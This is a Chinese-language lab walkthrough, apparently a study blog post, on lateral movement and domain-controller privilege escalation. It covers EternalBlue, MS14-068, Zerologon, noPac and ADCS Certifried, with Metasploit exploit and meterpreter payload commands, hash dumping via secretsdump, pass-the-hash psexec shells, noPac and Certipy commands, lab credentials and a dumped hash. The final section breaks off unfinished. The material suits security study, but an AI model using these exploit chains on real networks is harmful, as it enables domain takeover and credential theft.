除了前面讲到的口令密码进行横向移动,还存在使用系统漏洞进行的横向移动的方式,本节课就是讲一些域内系统的漏洞,主要是域控提权的一些漏洞
1、横向移动-系统漏洞-CVE-2017-0146(ms17-010,永恒之蓝)
2、横向移动-域控提权-CVE-2014-6324
3、横向移动-域控提权-CVE-2020-1472(重点)
4、 横向移动-域控提权-CVE-2021-42287(重点)
5、横向移动-域控提权-CVE-2022-26923(重点)
1、横向移动-系统漏洞-CVE-2017-0146(ms17-010,永恒之蓝)
非常经典的系统漏洞,我第一次接触网络安全就是复现的这个漏洞
影响版本:
Windows 7 8.1 10; Windows Server 2008 2012 2016
随着新系统初始状态已经打上了补丁,漏洞利用将会越来越局限
复现:
使用cs联动msf
在云服务器上分别启动一个cs服务端和msf
先上传个木马上线cs再提权一下,我这里是提升至system权限
首先创建一个新的监听器,这里选择这个外部的http或者HTTPS都可以,ip地址填msf启动的IP地址,端口任意只要不冲突
然后msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8088 (和前面设置的监听器保持一致)
run
然后点击新建会话选择msf,或者会话交互输入 spawn msf (监听器的名字)
确实cs4.5好像不可以。。。
换了4.7可以了,和前面一样的步骤
为什么要联动cs和msf因为cs的插件只支持漏洞的检测不支持漏洞的利用
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表再查看当前路由表
确认了网段后就使用msf自带的漏洞扫描工具扫描一下
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.3.21-32 //设置扫描目标段
set threads 5 //设置扫描线程数
run
加号就是存在漏洞,我这里的环境没有检测出漏洞。。。我记得之前我的虚拟机是有漏洞的奇怪。。。
利用msf17-010攻击(注意payload是正向还是反向,内网的可能不出网所以需要用正向连接的payload)
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp //正向连接上线
set rhost 192.168.3.25 //设置连接目标 #set rhosts 192.168.3.21-32 //设置扫描范围,批量检测与利用
run
成功了就会返回会话,看视频好像会失败可以多尝试几次
2、横向移动-域控提权-CVE-2014-6324
又名ms16-068 属于ptt攻击的利用
复现:看我之前的那个130那天的文章使用了这个。
3、横向移动-域控提权-CVE-2020-1472(重点)
复现:
漏洞背景
未经身份验证的攻击者只需要能访问域控的135端口即可通过NetLogon远程协议连接域控并重置域控机器账户的hash,从而导致攻击者可以利用域控的机器账户导出域内所有用户的Hash(域控的机器账户默认具有DCSync权限),进而接管整个域
漏洞原理
NetLogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭据的情况下通过认证。通过认证后,调用NetLogon协议中RPC函数NetrServerpasswordSet2来重置域控机器账户的Hash,进而接管全域
影响版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows
Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core
installation) Windows Server 2012 Windows Server 2012 (Server Core
installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server
Core installation) Windows Server 2016 Windows Server 2016 (Server
Core installation) Windows Server 2019 Windows Server 2019 (Server
Core installation) Windows Server, version 1903 (Server Core
installation) Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
检测工具
http://github.com/WiIs0n/Zerologon_CVE-2020-1472
安装一下依赖包,然后使用方式很简单,指定一下机器名和ip地址,就可以检测出是否存在漏洞,不过在做代理的方式进行检测的时候会因为网络问题可能检测不出来。我就是一开始挂的代理检测检测不出来,然后直接将kali放到和靶机同一网段去检测就检测出来了
攻击工具
https://github.com/dirkjanm/CVE-2020-1472
python3 cve-2020-1472-exploit.py 域控名 域控ip
这一步是讲目标域控主机中的密码清空
接下来使用impacket下的secretdump.py去获取域控机器的hash,这里我的kali升级了一下库的版本才可以使用
secretdump.py是之前在github上面下的
python3 secretsdump.py niganma.hhh/DC$@172.16.3.3 -no-pass
可以看到跑出了好多账号的hash值,有了hash就好办了,直接pth攻击
选择用域管理员的后一个hash进行,可以看到成功反弹回了shell
python psexec.py niganma.hhh/Administrator@172.16.3.3 -hashes :前面获取的域管理员hash
顺便了解一下netlogon
Netlogon组件是Windows上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。
Netlogon远程协议是一个可用的在Windows域控制器上的RPC(remote procedure call protocol,远程过程调用协议,允许像调用本地服务一样调用远程服务)接口,用于对域中的用户和其他服务进行身份验证,最常见的是方便用户使用NTLM(NTLAN Manager,问询/应答身份验证协议,telnet的一种验证身份方式)登录服务器协议,让计算机更新其域内的密码。其他机器与域控的Netlogon通讯使用RPC协议MS-NRPC(指定了Netlogon远程协议,基于域的网络上的用户和计算机进行身份验证)。
Netlogon协议不会使用与其他RPC服务相同的身份验证方案,而是使用自定义的加密协议,让客户端(加入域的计算机)和服务器(域管理员)互相证明它们都知道共享的机密(客户端计算机的哈希值密码)。
还有还原密码的步骤
python3 secretsdump.py niganma.hhh/administrator@172.16.3.3 -hashes :42e2656ec24331269f82160ff5962387 -no-pass
然后使用cve-2020-1472-exploit.py同一个文件下的这个恢复密码的py文件
参考文章
https://zhuanlan.wangan.com/p/1068
https://www.cnblogs.com/herbmint/p/13849135.html
https://zhuanlan.zhihu.com/p/494034459
4、 横向移动-域控提权-CVE-2021-42287(重点)
前提条件:一个域内的普通账号
影响版本:Windows基本全系列(未打补丁)
复现:
漏洞利用前提条件:知道一个普通用户的账号和密码
影响版本:Windows全版本
用的自己的虚拟机搭建的环境,一台Windowsserver2012 12-demo作为web出网,同样一台winser2102 DC 作为域控
先上线12-demo提权至adminitrator 然后做一下代理转发,本地也做一下代理实现本机可以访问内网。然后使用工具
https://github.com/cube0x0/noPac
此工具需要先编译一下,用vs studio就可以。
另外这里需要修改一下hosts文件,下面有些使用域名代替不修改跑到公网上面去找目标了。。。
然后可以先检测一下有没有漏洞
noPac scan -domain niganma.hhh -user user2 -pass QWEasd456
出现这个就意味着有漏洞
看一下票据信息。此时是没有建立任何链接的
此时尝试连接也是无效的(这个pstool是微软官方的工具包可以去官网下载)
noPac -domain niganma.hhh -user user2 -pass QWEasd456 /dc DC.niganma.hhh /mAccount abcd /mPassword aBcd!@# /service cifs /ptt
这个时候在查看klist
然后用psexec连接成功反弹shell
使用python脚本工具复现
https://github.com/WazeHell/sam-the-admin
我没有成功但是网上的文章,用的22年的kali成功了
python3 sam_the_admin.py niganma/'user2:QWEasd456' -dc-ip 172.16.3.3 -shell
可能是版本问题。。。
感觉这个漏洞很强大,知道一个普通用户就可以拿下权限666
有两种工具可以使用一个是https://github.com/cube0x0/noPac
和 https://github.com/WazeHell/sam-the-admin
一个是c的exe工具一个是python的脚本,前面复现使用的是exe版本进行的
5、横向移动-域控提权-CVE-2022-26923(重点)
又名ADCS攻击
复现:
项目地址:https://github.com/ly4k/Certipy
Certipy是一款基于Python开发的强大工具,该工具可以帮助广大研究人员枚举并利用活动目录证书服务(AD CS)中的错误配置项。
‘’概述
当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。
影响
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
前提条件
一个域内普通用户的账号和密码
域内存在证书服务器
因为我的域控是没有开启这个服务的,先开启一下,同时拍个快照,因为这个实验会把里面的全部账号删除好像是
具体安装我也不知道对不对,反正选择这个服务一直下一步安装完,然后我还点击了那个配置,也是安装他的一直点下去
然后测试有没有开启
certutil -config - -ping
跳出这个就是成功了
然后记录一下前面的这些域内信息
172.16.3.3
user2 QWEasd456
niganma-DC-CA
DC.niganma.hhh
使用kali作为攻击机,修改一下/etc/hosts文件
把下载的工具Certipy-main先搞一下
python3 .\setup.py install
pip3 install certipy-ad
1、申请低权限用户证书
certipy req 'niganma.hhh/user2:QWEasd456@DC.niganma.hhh' -ca niganma-DC-CA -template User -debug
或
certipy req '172.16.3.3/user2:QWEasd456@user3winser2012@DC.niganma.hhh' -target-ip 172.16.3.3 -ca niganma-DC-CA -template User -debug
或
certipy req -username user2@niganma.hhh -password QWEasd456 -ca niganma-DC-CA -target DC.niganma.hhh -template User
我这里最后用了最后这个语句成功了,我看了下语句不一样是因为这个certipy的版本不同导致的,我这里是4.8.2
检测票据信息
certipy auth -pfx user2.pfx -dc-ip 172.16.3.3
配置bloodyAD
地址:GitHub - CravateRouge/bloodyAD: BloodyAD is an Active Directory Privilege Escalation Framework
pip3 install -r requirements.txt
安装的时候我遇到了很多问题,无论如何先更新
sudo apt-get update
sudo apt-get upgrade
如果再次尝试还有问题,主要是一个krb5的问题导致
apt-get install libkrb5-dev
如果重式还有问题
sudo apt-get install binutils
再重启系统再尝试
使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
python3 bloodyAD.py -d niganma.hhh -u user2 -p QWEasd456 --host 172.16.3.3 get object "DC=niganma,DC=hhh"
慢慢玩明白这个脚本了,get 后面的参数改变了,根据报错提示看要输入的参数变成了什么
创建一个test66密码为jntm的机器账户
python3 bloodyAD.py -d 'niganma.hhh' -u 'user2' -p 'QWEasd456' --host '172.16.3.3' add computer test11 'niganma'
使用伪造的机器账户进行证书申请,因为在计算机账户中,CA是使用DNSname的值来验证,如果这个值是域控的DNSname,CA就会认为是域控,这里为什么说只用计算机账户而不用用户账户(test),是因为用户账户的具有一个用户主体名称UPN(User Principal Name),UPN是具有唯一性不可变的,而计算机账户没有
python3 bloodyAD.py -d 'niganma.hhh' -u 'user2' -p 'QWEasd456' --host '172.16.3.3' setAttribute 'CN=test11,CN=Computers,DC=niganma,DC=hhh' DNSHOSTName '["DC.niganma.hhh"]'
python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName
废了,这个作者修改了脚本,但是没有修改wiki。。。这参数怎么填的。。。
看了半天源码也没搞出来这个参数怎填的。。。